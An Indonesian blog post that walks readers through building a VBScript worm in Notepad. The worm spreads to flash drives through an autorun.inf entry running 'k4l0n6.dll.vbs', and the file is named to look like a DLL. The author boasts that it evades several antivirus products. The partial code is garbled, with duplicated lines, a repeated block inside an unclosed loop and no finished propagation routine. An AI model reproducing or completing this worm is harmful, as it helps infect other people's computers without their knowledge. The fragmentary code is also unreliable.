Cara Membuat Virus Berbahaya Di Notepad
Virus |
Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya
nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata
para virus maker mulai melirik memakai bahasa VBS. Mungkin karena
menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak
beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa
dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang
terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan
Notepad. Virus ini akan membuat dirinya menyebar ke removable disc
dengan AutoRun sehingga komputer lain yang tercolok flash disc
terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan
infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka
Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type
pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya
gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan
aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri
karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus
karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung
ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli
software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
